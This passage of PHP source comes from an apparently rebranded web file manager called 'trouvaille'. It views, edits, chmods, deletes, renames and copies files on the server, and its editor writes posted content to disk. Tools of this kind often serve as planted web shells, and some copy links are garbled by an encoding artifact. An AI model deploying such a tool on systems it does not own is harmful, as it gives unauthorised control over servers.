$view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> <?php $display_path = fm_get_display_path($file_path); ?> <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br> <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br> <strong>MIME-type:</strong> <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) and $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br> <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br> <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br> <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <div class="d-flex align-items-center mb-3"> <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> </form> <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button> </form> <form method="post" class="d-inline ms-2"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>"> <input type="hidden" name="tofolder" value="1"> <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button> </form> <?php } if ($is_text and !FM_READONLY) { ?> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </div> <?php if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fanco($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>'.lng('Error while fetching archive info').'</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fanco($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php fm_show_footer(); exit; } // file editor if (isset($_GET['edit']) and !FM_READONLY) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $editFile = ' : <i><b>'. $file. '</b></i>'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button> <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select> <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1"> <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text and $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey) and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?> </div> <?php fm_show_footer(); exit; } if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> <?php $display_path = fm_get_display_path($file_path); ?> <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN and !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0" data-order></td> <td class="border-0" data-order></td> <td class="border-0"></td> <?php if (!FM_IS_WIN and !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $uu = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = ""; $filesize = lng('Folder'); $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>"> <label class="custom-control-label" for="<?php echo $uu ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN and !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=©=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $uu++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw)); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); if ($owner === false) { $owner = array('name' => '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fanco($f) ?>> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?> <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN and !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>©=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) and empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr> <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>"> <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">trouvaille <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="." target="_blank" class="float-right text-muted">trouvaille <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); function print_external($key) { global $external; if(!array_key_exists($key, $external)) { // throw new Exception('Key missing in external: ' . key); echo "<!-- EXTERNAL: MISSING KEY $key -->"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), 